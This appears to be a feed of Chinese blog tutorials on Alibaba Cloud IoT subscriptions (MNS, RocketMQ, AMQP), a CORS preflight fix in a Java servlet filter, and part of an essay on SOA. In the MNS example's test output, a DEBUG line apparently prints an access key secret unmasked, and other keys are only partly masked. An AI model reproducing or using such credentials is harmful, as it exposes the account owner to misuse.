        ⭕️如果是老的HTTP2订阅,请尽快更新到AMQP订阅

        排查过程

        一、检查控制台相应参数配置。

        A.相应产品订阅类型(AMQP还是MNS)

        1.如果是AMQP订阅,检查这个产品选择的消费组(例如:如果只选择了消费组A,但是服务端代码里用的是消费组B的消费组ID,自然订阅不到消息)
        2.MNS订阅不涉及消费组概念,检查产品对应的队列是否正常创建即可

        B.勾选的推送消息类型

        1.如果只勾选了设备状态变化通知,那服务端自然订阅不到“设备上报消息”了
        image.png

        image.png

        二、检查上报的数据格式

        大多数情况都是设备端进行属性上报,然后在服务端订阅不到消息。
        这个时候看一下控制台上的日志,找到物模型数据分析的日志,检查物模型解析是否正常。

        (在上行消息分析日志里看到消息,只能表示消息到了平台,但是很有可能物模型解析失败,所以不会推送到服务端。因此一定要看物模型数据分析的日志,看看是不是物模型解析失败了。)

        image.png

        三、检查是不是开启了多个客户端进行订阅

        如果一和二都检查无误,那要看一下是不是启动了多个客户端。
        image.png

        四、提交工单,提供相应信息

        设备三元组信息
        消息的messageID
        如果是设备上下线的消息,提供设备上下线的日志截图(也就是日志里的设备行为分析)
        MNS订阅实际上是规则引擎的数据流转,提供上行消息分析里(Transmit to MNS……)日志的相关内容

        ]]>
        阿里云物联网平台设备历史属性上报及MNS服务端订阅 Fri, 02 May 2025 09:39:04 +0800

        作者:俏巴

        概述

        阿里云物联网平台不仅支持设备即时属性的上报,也支持因为某些原因,没有及时上报的属性数据,通过历史属性上报的方式进行上报,历史属性上报Topic:/sys/{productKey}/{deviceName}/thing/event/property/history/post。本文结合物联网平台最新推出的独享实例,在新的实例下面创建产品及设备,进行历史属性的上报测试,并进行 MNS 历史属性服务端订阅。

        操作步骤

        1、创建独享实例,在独享实例下面创建产品和设备

        image.png

        image.png

        image.png

        2、获取独享实例设备端MQTT接入点

        image.png

        3、设备端接入,参考[链接
        ](https://yq.aliyun.com/articles/719051?spm=a2c4e.11153940.0.0.50666a54kkDYBk)

        import com.alibaba.taro.AliyunIoTSignUtil;
        import org.eclipse.paho.client.mqttv3.*;
        import org.eclipse.paho.client.mqttv3.persist.MemoryPersistence;
        import java.util.HashMap;
        import java.util.Map;
        
        public class IoTDemoPubSubDemo {
        
            public static String productKey = "g028S******";
            public static String deviceName = "device1";
            public static String deviceSecret = "aKEHNK1w0UBvGcA1BA7gf2eHC********";
            public static String regionId = "cn-shanghai";
            public static String isntanceId = "iot-instc-public-cn-0pp1g*******";
        
            // 物模型 - 历史属性上报topic
            private static String pubTopic = "/sys/" + productKey + "/" + deviceName + "/thing/event/property/history/post";
        
            private static MqttClient mqttClient;
        
            public static void main(String [] args){
        
                initAliyunIoTClient();
                postDeviceProperties();
            }
        
            /**
             * 初始化 Client 对象
             */
            private static void initAliyunIoTClient() {
        
                try {
                    // 构造连接需要的参数
                    String clientId = "java" + System.currentTimeMillis();
                    Map<String, String> params = new HashMap<>(16);
                    params.put("productKey", productKey);
                    params.put("deviceName", deviceName);
                    params.put("clientId", clientId);
                    String timestamp = String.valueOf(System.currentTimeMillis());
                    params.put("timestamp", timestamp);
                    // MQTT 设备接入 公网终端节点(Endpoint)
                    String targetServer = "tcp://" + isntanceId + ".iot-as-mqtt."+regionId+".iothub.aliyuncs.com:1883";
        
                    String mqttclientId = clientId + "|securemode=3,signmethod=hmacsha1,timestamp=" + timestamp + "|";
                    String mqttUsername = deviceName + "&" + productKey;
                    String mqttPassword = AliyunIoTSignUtil.sign(params, deviceSecret, "hmacsha1");
        
                    connectMqtt(targetServer, mqttclientId, mqttUsername, mqttPassword);
        
                } catch (Exception e) {
                    System.out.println("initAliyunIoTClient error " + e.getMessage());
                }
            }
        
            public static void connectMqtt(String url, String clientId, String mqttUsername, String mqttPassword) throws Exception {
        
                MemoryPersistence persistence = new MemoryPersistence();
                mqttClient = new MqttClient(url, clientId, persistence);
                MqttConnectOptions connOpts = new MqttConnectOptions();
                // MQTT 3.1.1
                connOpts.setMqttVersion(4);
                connOpts.setAutomaticReconnect(false);
        //        connOpts.setCleanSession(true);
                connOpts.setCleanSession(false);
        
                connOpts.setUserName(mqttUsername);
                connOpts.setPassword(mqttPassword.toCharArray());
                connOpts.setKeepAliveInterval(60);
        
                mqttClient.connect(connOpts);
            }
        
            /**
             * 汇报属性
             */
            private static void postDeviceProperties() {
        
                try {
                    //上报数据
                    //高级版 物模型-属性上报payload
                    System.out.println("历史上报属性值");
                    String payloadJson = "{ "id": 123, "version": "1.0", "method": "thing.event.property.history.post", "params": [ { "identity": { "productKey": "g028S******", "deviceName": "device1" }, "properties": [ { "AreaId": { "value": "history data test 4", "time": 1578198990000 } } ] } ] }";
                    MqttMessage message = new MqttMessage(payloadJson.getBytes("utf-8"));
                    message.setQos(1);
                    mqttClient.publish(pubTopic, message);
                } catch (Exception e) {
                    System.out.println(e.getMessage());
                }
            }
        }
        

        payLoad格式参考

        4、设备运行状态查看

        image.png

        5、MNS服务端订阅配置
        image.png

        6、使用 MNS Python SDK 获取MNS订阅到Queue中的消息

        • 6.1 安装SDK
          image.png
        • 6.2 Code Sample
        #init my_account, my_queue
        from mns.account import Account
        import sys
        import json
        import base64
        
        endpoint = "http://18482178********.mns.cn-shanghai.aliyuncs.com/"
        accid = "LTAIOZZg********"
        acckey = "v7CjUJCMk7j9aKduMAQLjy********"
        token = ""
        my_account = Account(endpoint, accid, acckey, token)
        queue_name = "aliyun-iot-g028S******"
        my_queue = my_account.get_queue(queue_name)
        
        #循环读取删除消息直到队列空
        #receive message请求使用long polling方式,通过wait_seconds指定长轮询时间为3秒
        
        ## long polling 解析:
        ### 当队列中有消息时,请求立即返回;
        ### 当队列中没有消息时,请求在MNS服务器端挂3秒钟,在这期间,有消息写入队列,请求会立即返回消息,3秒后,请求返回队列没有消息;
        
        wait_seconds = 3
        print("%sReceive And Delete Message From Queue%snQueueName:%snWaitSeconds:%sn" % (10*"=", 10*"=", queue_name, wait_seconds))
        while True:
            #读取消息
            try:
                recv_msg = my_queue.receive_message(wait_seconds)
                print("Receive Message Succeed! ReceiptHandle:%s MessageBody:%s MessageID:%s" % (recv_msg.receipt_handle, recv_msg.message_body, recv_msg.message_id))
                print("Message Body: ",base64.b64decode(json.loads(recv_msg.message_body)['payload'])) # 转发到mns 的messagebody经过了base64编码,获取具体消息的内容需要做base64解码
            except Exception as e:
            #except MNSServerException as e:
                if e.type == u"QueueNotExist":
                    print("Queue not exist, please create queue before receive message.")
                    sys.exit(0)
                elif e.type == u"MessageNotExist":
                    print("Queue is empty!")
                    sys.exit(0)
                print("Receive Message Fail! Exception:%sn" % e)
                continue
        
            #删除消息
            try:
                my_queue.delete_message(recv_msg.receipt_handle)
                print("Delete Message Succeed!  ReceiptHandle:%s" % recv_msg.receipt_handle)
            except Exception as e:
                print("Delete Message Fail! Exception:%sn" % e)
        print("Delete Message Fail! Exception:%sn" % e)
        

        6.3 Test Result

        Receive Message Succeed! ReceiptHandle:8-2zuDHj20LzZz8zcFz0z6YEzcSFqxyIKefW MessageBody:{"payload":"eyJkZXZpY2VUeXBlIjoiQ3VzdG9tQ2F0ZWdvcnkiLCJpb3RJZCI6IlY1WGJXekluY0EyOW41aWNib3RYZzAyODAwIiwicmVxdWVzdElkIjoiMTIzIiwicHJvZHVjdEtleSI6ImcwMjhTR1o4RlJDIiwiZ210Q3JlYXRlIjoxNTc4MjkxNzI0NjY4LCJkZXZpY2VOYW1lIjoiZGV2aWNlMSIsIml0ZW1zIjp7IkFyZWFJZCI6eyJ0aW1lIjoxNTc4MTk4OTkwMDAwLCJ2YWx1ZSI6Imhpc3RvcnkgZGF0YSB0ZXN0*********","messagetype":"thing_history","topic":"/g028S******/device1/thing/event/property/history/post","messageid":1214069604465248256,"timestamp":1578291724} MessageID:5F8092E53A67656C7F811CD50E19A150
        Message Body:  b'{"deviceType":"CustomCategory","iotId":"V5XbWzIncA29n5icbo********","requestId":"123","productKey":"g028S******","gmtCreate":1578291724668,"deviceName":"device1","items":{"AreaId":{"time":1578198990000,"value":"history data test 4"}}}'
        DEBUG: v7CjUJCMk7j9aKduMAQLjyCmb8cmCm hAbKzezvRlqeVXC18CzChL4OZZk= DELETE
        

        更多参考

        使用MNS服务端订阅
        Python SDK 队列使用手册

        ]]>
        阿里云物联网平台设备数据转发到消息队列RocketMQ全链路测试 Fri, 02 May 2025 09:39:04 +0800

        作者:俏巴

        概述

        您可以使用规则引擎,将物联网平台数据转发到消息队列(RocketMQ)中存储。从而实现消息从设备、物联网平台、RocketMQ到应用服务器之间的全链路高可靠传输能力。文本从物联网平台的产品及设备的创建开始,逐步介绍整个链路的完整实现。

        操作步骤

        1、创建物联网产品及设备

        参考 阿里云物联网平台Qucik Start 快速创建产品和设备。

        2、RocketMQ控制台 创建实例、Topic和Group,这个为了方便本地测试消费MQ的消息,选择在公网区域创建相关资源

        image.png

        3、配置规则引擎

        a、配置总览
        image.png

        b、处理数据
        image.png

        c、转发数据
        image.png

        d、配置完开启规则引擎

        image.png

        相关参考:
        SQL语句参考
        [数据转发到消息队列RocketMQ
        ](https://help.aliyun.com/document_detail/59000.html?spm=a2c4e.11153940.0.0.24bc367dZhn976)
        设备上报属性消息

        import com.alibaba.taro.AliyunIoTSignUtil;
        import org.eclipse.paho.client.mqttv3.*;
        import org.eclipse.paho.client.mqttv3.persist.MemoryPersistence;
        
        import java.util.HashMap;
        import java.util.Map;
        
        public class IoTDemoPubSubDemo1 {
            public static String productKey = "*********";
            public static String deviceName = "*********";
            public static String deviceSecret = "*********";
            public static String regionId = "cn-shanghai";
        
            // 物模型-属性上报topic
            private static String pubTopic = "/sys/" + productKey + "/" + deviceName + "/thing/event/property/post";
        
            private static MqttClient mqttClient;
        
            public static void main(String [] args){
        
                // 初始化Mqtt Client对象
                initAliyunIoTClient();
                // 汇报属性
                postDeviceProperties();
        
            }
        
            /**
             * 初始化 Client 对象
             */
            private static void initAliyunIoTClient() {
        
                try {
                    // 构造连接需要的参数
                    String clientId = "java" + System.currentTimeMillis();
                    Map<String, String> params = new HashMap<>(16);
                    params.put("productKey", productKey);
                    params.put("deviceName", deviceName);
                    params.put("clientId", clientId);
                    String timestamp = String.valueOf(System.currentTimeMillis());
                    params.put("timestamp", timestamp);
                    // cn-shanghai
                    String targetServer = "tcp://" + productKey + ".iot-as-mqtt."+regionId+".aliyuncs.com:1883";
        
                    String mqttclientId = clientId + "|securemode=3,signmethod=hmacsha1,timestamp=" + timestamp + "|";
                    String mqttUsername = deviceName + "&" + productKey;
                    String mqttPassword = AliyunIoTSignUtil.sign(params, deviceSecret, "hmacsha1");
        
                    connectMqtt(targetServer, mqttclientId, mqttUsername, mqttPassword);
        
                } catch (Exception e) {
                    System.out.println("initAliyunIoTClient error " + e.getMessage());
                }
            }
        
            public static void connectMqtt(String url, String clientId, String mqttUsername, String mqttPassword) throws Exception {
        
                MemoryPersistence persistence = new MemoryPersistence();
                mqttClient = new MqttClient(url, clientId, persistence);
                MqttConnectOptions connOpts = new MqttConnectOptions();
                // MQTT 3.1.1
                connOpts.setMqttVersion(4);
                connOpts.setAutomaticReconnect(false);
        //        connOpts.setCleanSession(true);
                connOpts.setCleanSession(false);
        
                connOpts.setUserName(mqttUsername);
                connOpts.setPassword(mqttPassword.toCharArray());
                connOpts.setKeepAliveInterval(60);
        
                mqttClient.connect(connOpts);
            }
        
            /**
             * 汇报属性
             */
            private static void postDeviceProperties() {
        
                try {
                    //上报数据
                    //高级版 物模型-属性上报payload
                    System.out.println("上报属性值");
                    String payloadJson = "{"params":{"Status":1,"Data":"33"}}";
                    MqttMessage message = new MqttMessage(payloadJson.getBytes("utf-8"));
                    message.setQos(1);
                    mqttClient.publish(pubTopic, message);
                } catch (Exception e) {
                    System.out.println(e.getMessage());
                }
            }
        }
        

        运行状态显示
        image.png

        参考链接:基于开源JAVA MQTT Client连接阿里云IoT

        MQ Topic消息订阅
        1、pom.xml

        <dependencies>
                <dependency>
                    <groupId>com.aliyun.openservices</groupId>
                    <artifactId>ons-client</artifactId>
                    <version>1.8.0.Final</version>
                </dependency>
            </dependencies>
        

        2、Code Sample

        import com.aliyun.openservices.ons.api.*;
        import java.util.Properties;
        
        public class ConsumerTest {
            public static void main(String[] args) {
                Properties properties = new Properties();
                // 您在控制台创建的 Group ID
                properties.put(PropertyKeyConst.GROUP_ID, "GID_****");
                // AccessKey 阿里云身份验证,在阿里云服务器管理控制台创建
                properties.put(PropertyKeyConst.AccessKey,"********");
                // SecretKey 阿里云身份验证,在阿里云服务器管理控制台创建
                properties.put(PropertyKeyConst.SecretKey, "********");
        
                properties.put(PropertyKeyConst.ConsumeThreadNums,50);
                // 设置 TCP 接入域名,进入控制台的实例管理页面的“获取接入点信息”区域查看
                properties.put(PropertyKeyConst.NAMESRV_ADDR,
                        "http://MQ_INST_184821781661****_BaQU****.mq-internet-access.mq-internet.aliyuncs.com:80");
        
                Consumer consumer = ONSFactory.createConsumer(properties);
                consumer.subscribe("Topic_MQDemo", "*", new MessageListener() { //订阅多个 Tag
                    public Action consume(Message message, ConsumeContext context) {
                        System.out.println("Receive: " + message);
                        System.out.println("Message : " + new String(message.getBody()));//打印输出消息
                        return Action.CommitMessage;
                    }
                });
                consumer.start();
                System.out.println("Consumer Started");
            }
        }
        

        3、测试结果

        Receive: Message [topic=Topic_MQDemo, systemProperties={KEYS=1202850299555940352, __KEY=1202850299555940352, __RECONSUMETIMES=0, __BORNHOST=/11.115.104.187:51935, __MSGID=0B7368BB19AF531D72CA1D0A9B540077, MIN_OFFSET=520, __BORNTIMESTAMP=1575616834388, MAX_OFFSET=525}, userProperties={UNIQ_KEY=0B7368BB19AF531D72CA1D0A9B540077, MSG_REGION=cn-qingdao-publictest, eagleTraceId=0bc5f2c215756168339094214d0a1b, TRACE_ON=true, eagleData=s3bef5fb6, CONSUME_START_TIME=1575616834470, eagleRpcId=0.1.11.10.10.1.1.1.1}, body=38]
        Message : {"data1":"33","deviceName":"MQDevice"}
        

        日志查询(方便对问题进行跟踪定位排查)

        1、物联网平台 -》 运维监控 -》 日志服务 -》 上行日志
        image.png

        2、消息队列RocketMQ -》 消息查询
        image.png

        AMQP服务端订阅

        1、管理门户配置

        image.png

        image.png

        2、代码订阅,参考链接

        3、Code Sample

        import java.net.URI;
        import java.util.Hashtable;
        import javax.crypto.Mac;
        import javax.crypto.spec.SecretKeySpec;
        import javax.jms.Connection;
        import javax.jms.ConnectionFactory;
        import javax.jms.Destination;
        import javax.jms.Message;
        import javax.jms.MessageConsumer;
        import javax.jms.MessageListener;
        import javax.jms.MessageProducer;
        import javax.jms.Session;
        import javax.naming.Context;
        import javax.naming.InitialContext;
        import org.apache.commons.codec.binary.Base64;
        import org.apache.qpid.jms.JmsConnection;
        import org.apache.qpid.jms.JmsConnectionListener;
        import org.apache.qpid.jms.message.JmsInboundMessageDispatch;
        import org.slf4j.Logger;
        import org.slf4j.LoggerFactory;
        
        public class AmqpJavaClientDemo {
        
            private final static Logger logger = LoggerFactory.getLogger(AmqpJavaClientDemo.class);
        
            public static void main(String[] args) throws Exception {
                //参数说明,请参见上一篇文档:AMQP客户端接入说明。
                String accessKey = "******";
                String accessSecret = "******";
                String consumerGroupId = "******";
                long timeStamp = System.currentTimeMillis();
                //签名方法:支持hmacmd5,hmacsha1和hmacsha256
                String signMethod = "hmacsha1";
                //控制台服务端订阅中消费组状态页客户端ID一栏将显示clientId参数。
                //建议使用机器UUID、MAC地址、IP等唯一标识等作为clientId。便于您区分识别不同的客户端。
                String clientId = "yutaodemotest";
        
        logger.debug("demo");
        
                logger.error("error","this is my test error info.");
                logger.info("info");
                logger.error("error");
        
                //UserName组装方法,请参见上一篇文档:AMQP客户端接入说明。
                String userName = clientId + "|authMode=aksign"
                        + ",signMethod=" + signMethod
                        + ",timestamp=" + timeStamp
                        + ",authId=" + accessKey
                        + ",consumerGroupId=" + consumerGroupId
                        + "|";
                //password组装方法,请参见上一篇文档:AMQP客户端接入说明。
                String signContent = "authId=" + accessKey + "&timestamp=" + timeStamp;
                String password = doSign(signContent,accessSecret, signMethod);
                //按照qpid-jms的规范,组装连接URL。
                String connectionUrl = "failover:(amqps://******.iot-amqp.cn-shanghai.aliyuncs.com?amqp.idleTimeout=80000)"
                        + "?failover.maxReconnectAttempts=10&failover.reconnectDelay=30";
        
                Hashtable<String, String> hashtable = new Hashtable<>();
                hashtable.put("connectionfactory.SBCF",connectionUrl);
                hashtable.put("queue.QUEUE", "default");
                hashtable.put(Context.INITIAL_CONTEXT_FACTORY, "org.apache.qpid.jms.jndi.JmsInitialContextFactory");
                Context context = new InitialContext(hashtable);
                ConnectionFactory cf = (ConnectionFactory)context.lookup("SBCF");
                Destination queue = (Destination)context.lookup("QUEUE");
                // Create Connection
                Connection connection = cf.createConnection(userName, password);
                ((JmsConnection) connection).addConnectionListener(myJmsConnectionListener);
                // Create Session
                // Session.CLIENT_ACKNOWLEDGE: 收到消息后,需要手动调用message.acknowledge()
                // Session.AUTO_ACKNOWLEDGE: SDK自动ACK(推荐)
                Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
                connection.start();
                // Create Receiver Link
                MessageConsumer consumer = session.createConsumer(queue);
                consumer.setMessageListener(messageListener);
            }
        
            private static MessageListener messageListener = new MessageListener() {
                @Override
                public void onMessage(Message message) {
                    try {
                        byte[] body = message.getBody(byte[].class);
                        String content = new String(body);
                        String topic = message.getStringProperty("topic");
                        String messageId = message.getStringProperty("messageId");
                        System.out.println("Content:" + content);
                        logger.info("receive message"
                                + ", topic = " + topic
                                + ", messageId = " + messageId
                                + ", content = " + content);
                        //如果创建Session选择的是Session.CLIENT_ACKNOWLEDGE,这里需要手动ACK。
                        //message.acknowledge();
                        //如果要对收到的消息做耗时的处理,请异步处理,确保这里不要有耗时逻辑。
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            };
        
            private static JmsConnectionListener myJmsConnectionListener = new JmsConnectionListener() {
                /**
                 * 连接成功建立。
                 */
                @Override
                public void onConnectionEstablished(URI remoteURI) {
                    logger.info("onConnectionEstablished, remoteUri:{}", remoteURI);
                }
        
                /**
                 * 尝试过最大重试次数之后,最终连接失败。
                 */
                @Override
                public void onConnectionFailure(Throwable error) {
                    logger.error("onConnectionFailure, {}", error.getMessage());
                }
        
                /**
                 * 连接中断。
                 */
                @Override
                public void onConnectionInterrupted(URI remoteURI) {
                    logger.info("onConnectionInterrupted, remoteUri:{}", remoteURI);
                }
        
                /**
                 * 连接中断后又自动重连上。
                 */
                @Override
                public void onConnectionRestored(URI remoteURI) {
                    logger.info("onConnectionRestored, remoteUri:{}", remoteURI);
                }
        
                @Override
                public void onInboundMessage(JmsInboundMessageDispatch envelope) {}
        
                @Override
                public void onSessionClosed(Session session, Throwable cause) {}
        
                @Override
                public void onConsumerClosed(MessageConsumer consumer, Throwable cause) {}
        
                @Override
                public void onProducerClosed(MessageProducer producer, Throwable cause) {}
            };
        
            /**
             * password签名计算方法,请参见上一篇文档:AMQP客户端接入说明。
             */
            private static String doSign(String toSignString, String secret, String signMethod) throws Exception {
                SecretKeySpec signingKey = new SecretKeySpec(secret.getBytes(), signMethod);
                Mac mac = Mac.getInstance(signMethod);
                mac.init(signingKey);
                byte[] rawHmac = mac.doFinal(toSignString.getBytes());
                return Base64.encodeBase64String(rawHmac);
            }
        }
        

        4、测试结果

        Content:{"deviceType":"None","iotId":"QyLOC9FsRiJePV*********","requestId":"null","productKey":"a1QVZRPkS5g","gmtCreate":1575632021248,"deviceName":"MQDevice","items":{"Status":{"value":1,"time":1575632021255},"Data":{"value":"33","time":1575632021255}}}
        

        5、服务端订阅门户监控
        image.png

        更多参考

        控制台配置AMQP服务端订阅

        Rocket MQ订阅消息

        ]]>
        阿里云物联网平台数据转发到消息服务(MNS)示例 Fri, 02 May 2025 09:39:04 +0800

        作者:俏巴

        概述


        您可以使用规则引擎将数据转到DataHub上,再由DataHub将数据流转至实时计算、MaxCompute等服务中,以实现更多计算场景。本文主要演示通过规则引擎将消息流转到MNS Topic,然后通过Queue订阅Topic中的消息。


        Step By Step




        产品、设备创建及设备数据上行

        参考:阿里云物联网平台数据转发到函数计算示例 产品及设备准备部分。




        MNS 控制台创建Topic及Queue

        1、创建Topic


        _


        2、创建Queue


        _


        3、创建订阅


        _


        _




        规则引擎配置



        1、配置处理数据


        _


        deviceName() as deviceName, items.Humidity.value as Humidity, items.CurrentTemperature.value as Temperature, timestamp('yyyy-MM-dd HH:mm:ss') as time,items.Humidity.time as tttt

        2、配置转发数据


        _


        注意:配置完后启动规则引擎


        3、消息流转情况查询


        _


        _


        _


        Queue消息接收测试

        1、门户快速测试


        _


        _


        2、程序接收测试


        参考链接:队列使用手册


        参考链接


        数据转发到消息服务

        ]]>
        跨域请求出现preflight request失败的问题的解决 Fri, 02 May 2025 09:39:04 +0800 问题出现

        这两天在项目联调过程中突然前端同学报告出现CORS跨域问题无法访问。刚听到很奇怪,因为已经在项目里面设置了CORS规则,理论上不会出现这个问题。

            protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response,
                                            FilterChain filterChain) throws ServletException, IOException {
                String orignalHeader = request.getHeader("Origin");
        
                if (orignalHeader != null ) {
                    Matcher m = CORS_ALLOW_ORIGIN_REGEX.matcher(orignalHeader);
                    if (m.matches()) {
                        response.addHeader("Access-Control-Allow-Origin", orignalHeader);
                        response.addHeader("Access-Control-Allow-Credentials", "true");
                        response.addHeader("Access-Control-Allow-Methods", "POST, GET, OPTIONS, DELETE, PUT");
                        response.addHeader("Access-Control-Allow-Headers", "x-dataplus-csrf, Content-Type");
                    }
                }
            }

        拿到前端给的错误提示后发现了一个奇怪的问题,提示Response to preflight request doesn't pass access control check中的preflight request是什么?

        image.png

        Preflight request介绍

        了解得知跨域资源共享标准新增了一组 HTTP 首部字段,允许服务器声明哪些源站通过浏览器有权限访问哪些资源。同时规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 GET 以外的 HTTP 请求,或者搭配某些 MIME 类型的 POST 请求),浏览器必须首先使用 OPTIONS 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨域请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookies 和 HTTP 认证相关数据)。

        一个Preflight request的流程可以如下图所示

        image.png

        什么样的请求会产生Preflight request呢?当请求满足下述任一条件时,即应首先发送Preflight request请求:

        • 使用了下面任一 HTTP 方法:

          • PUT
          • DELETE
          • CONNECT
          • OPTIONS
          • TRACE
          • PATCH
        • 人为设置了对 CORS 安全的首部字段集合之外的其他首部字段。该集合为:

          • Accept
          • Accept-Language
          • Content-Language
          • Content-Type (需要注意额外的限制)
          • DPR
          • Downlink
          • Save-Data
          • Viewport-Width
          • Width
        • Content-Type 的值不属于下列之一:

          • application/x-www-form-urlencoded
          • multipart/form-data
          • text/plain
        • 请求中的XMLHttpRequestUpload 对象注册了任意多个事件监听器。
        • 请求中使用了ReadableStream对象。

        在我们的例子中正是使用了POST方法传递了一个Content-Type为application/json的数据到后端。而这个OPTION请求返回失败后浏览器并没有继续下发POST请求。

        解决方案

        在弄清楚问题后,我们了解只要给Preflight request优先通过就可以引导后续请求继续下发。对此,我们改造CORS Filter来解决这个问题。

        • 首先对OPTION请求放入HTTP 200的响应内容。
        • 对于Preflight request询问中的的Access-Control-Request-Headers予以通过
        protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response,
                                            FilterChain filterChain) throws ServletException, IOException {
                String orignalHeader = request.getHeader("Origin");
        
                if (orignalHeader != null ) {
                    Matcher m = CORS_ALLOW_ORIGIN_REGEX.matcher(orignalHeader);
                    if (m.matches()) {
                        response.addHeader("Access-Control-Allow-Origin", orignalHeader);
                        response.addHeader("Access-Control-Allow-Credentials", "true");
                        response.addHeader("Access-Control-Allow-Methods", "POST, GET, OPTIONS, DELETE, PUT");
                        response.addHeader("Access-Control-Allow-Headers", request.getHeader("Access-Control-Request-Headers"));
                    }
                }
        
                if ("OPTIONS".equals(request.getMethod())) {
                    response.setStatus(HttpServletResponse.SC_OK);
                } else {
                    filterChain.doFilter(request, response);
                }
            }

        注意事项

        但是天不遂人愿,在上述改造后理论上应该是可以解决Preflight request问题,可以测试发现依然有问题。这时我们注意到错误信息中提到的另外一句Redirect is not allowed for a preflight request.

        为什么会有Redirect事情发生呢,原来所有请求在进入我们的CORS Filter之前,会首先通过SSO Filter做登录检测。而这个Preflight request并没有携带登录信息,导致OPTION请求被跳转到了登录页面。同理如果引用了Spring Security组件的的话也会出现首先被登录验证给过滤的问题。

        找到问题就比较好办了,调整CORS Filter优先级,让其先于登录验证进行就好了。对此我们调整registrationBean的order从默认的Integer.MAX_VALUE到1就好了。

            @Bean(name = "corsFilter")
            public FilterRegistrationBean corsFilter() {
                FilterRegistrationBean registrationBean = new FilterRegistrationBean();
                registrationBean.setFilter(corsFilterBean());
                registrationBean.setUrlPatterns(Lists.newArrayList("/*"));
                registrationBean.setOrder(1);
                return registrationBean;
            }
        ]]>
        做了那么多架构,你真的懂 SOA 了吗? Fri, 02 May 2025 09:39:04 +0800 自从提倡 SOA 架构风格以来,个人觉得软件架构并未有特别突破的变革,主要是在 SOA 面向服务架构风格基础上不断演化迭代,基于服务的 EA 明确分层架构也好,微服务也罢,都是在面向服务架构基础上的适应不同的场景的迭代升级。

        我先抛出一个观点,我觉得服务化架构的本质,和西方教育界深受影响的古希腊哲学家苏格拉底的“产婆术”的教育思想本质上是非常相通的:苏格拉底的“产婆术”思想强调教育是一个“接生”的过程,教师就是“接生婆”,人们之所以接受教育是为了寻找“原我”以不断完善自身。也就是教育的目的在于唤醒而不再于塑造。同理服务化架构的本质也不仅仅在采用什么样的技术框架实现和塑造,更重要的是在于通过不停地在共创中反问、反思、反省等方式进行对业务的本质的不断追溯、抽象、综合归纳演绎,我们的每一个架构师都是服务化架构的接生婆,我们的使命是建立真正反映业务本质并驱动业务不断向前的架构。

        我们是否足够深入理解业务的本质,做了足够的归纳演绎以及综合抽象,是否清晰的反应到了我们的服务化的根基:业务模型、域模型以及平台公共语义模型上?这是我们每一个参与服务化的每一个产品、架构师、TL 和核心开发同学需要回答的第一个根本问题。

        定义

        面向服务的架构(SOA):SOA 是一种架构风格,致力于将业务功能保持一致的服务(系统服务,应用服务,技术服务)作为设计、构建和编排组合业务流程以及解决方案的基本单元。

        目的

        我们采用 SOA 的架构是为了什么呢?

        为了更好的复用?为了更好的责任切分?为了接口和实现的分离,提升灵活性和隔离性?还是为了更好的接口分类和管理?

        以上说法其实都没错,但是面向服务化的架构 SOA 的目的远远超过接口技术细节的设计与定义,其核心的关注点在于服务的业务内容以及内涵,而不仅仅是如何设计和实现。

        同时,SOA 更多的也不是如何构建一个服务,任何人都可以很容易地创建一个服务,这并不是 SOA 的核心挑战,而是如何赋能企业构建有业务价值意义的完整业务语义的服务集合。

        面向服务的架构致力于在企业内的不同的业务环境内,建设业务功能驱动的服务,从而将服务组装成有价值、更高级别的业务流程和解决方案平台。

        面向服务的架构的真正的价值体现在当可重用的服务被灵活组合、编排在一起来构建敏捷的、灵活的业务流程,其中敏捷体现在服务可以快速调整,独立演化;灵活性体现在服务由于其业务功能定义明确,边界清晰且功能内聚性强,同时服务具备各自独立完整生命周期,可被灵活组装。

        如果面向服务架构能为企业提供了重大的价值,那么这些价值通过什么来体现的呢?

        价值体现

        • 行为一致性

        面向服务的架构允许我们为业务流程、任务或者决策拥有唯一的共同的入口,也就是,不管服务访问的路径如何,服务给业务提供的业务行为都是一致的。

        • 数据一致性

        面向服务的架构允许我们为业务数据信息提供单一的访问入口,也就是它提供给业务一致的、企业内部共识的公用数据访问。

        • 模块化及敏捷性

        面向服务的架构 SOA 为业务功能、业务决策和业务信息的模块化提供了非常好的机制。同时,在模块化实现好的情况下,这些模块可以在多个业务流程和场景中被灵活复用和重新组合,从而为业务竞争力和创造性提供灵活性和敏捷度支持。

        • 功能与数据的解耦

        面向服务的架构 SOA 提供了业务功能和信息集成的同时,减少了他们之间的依赖和耦合性。也就是,独立的业务功能单元,应用系统,可以一起协同工作,同时各自又具备各自的演进计划,生命周期和业务目标。

        • 高度可管理性

        SOA 提供给我们通过定义服务水平协定在服务模块粒度支撑我们的业务目标,我们可以不断的设定、监控和优化调整组件,应用以及系统所承载服务的考核。

        其中行为一致性和数据一致性作为服务的核心价值根基。

        服务

        一、定义

        首先我们先定义一下服务是什么?

        服务是通过服务契约的方式来提供业务功能的独立单元,同时受服务契约所明确管理。

        服务是设计、构建和编排组合一个完整业务实体中业务解决方案的基础单元。服务契约指定了服务消费方和提供方之间所有的交互约定,包括:

        • 服务接口
        • 接口文档
        • 服务策略
        • 服务质量
        • 服务可用性
        • 性能

        那我们经常听到模块、组件等其他的软件构件,服务和他们有什么区别呢?其中最核心的区别在于服务本身是被明确管理的,其服务质量和性能是通过服务水平协定(SLA)被明确管理的,而模块以及组件并无此约束。此外,服务的全生命周期包含从设计、部署到增强升级和维护都是可管理的。

        举例(下列内容仅做示例展示用,非适用于严格场景):

        补货计算服 服务策略 服务质量 性能要求
        补货建议量计算服务 针对行业下商家/供应商维度的入仓货品补货建议计算 在销量预测符合分布要求且满足准确率水平要求的情况下,根据缺货率服务水平要求的产生的补货建议量符合业务期望的周转天数 10W + 货品 * 30 仓,品+仓补货及建议量 <= 30min
        订单创建服务 包含购物车下单+立即下单场景,满足所有优惠计算后的订单生成 订单创建成功率 99.999999999% 峰值支撑:100w 单/s

        二、服务构成

        服务自身主要包含两个主要方面,第一方面也是服务最核心的方面就是服务的接口,另外一方面则是服务的实现。服务非常好的实现了接口和实现的分离。

        image.png

        1)服务接口

        服务接口指定了服务的操作,也就是服务是做什么的(What),操作的输入输出参数,以及用来约定如何使用和提供这些能力的协议。

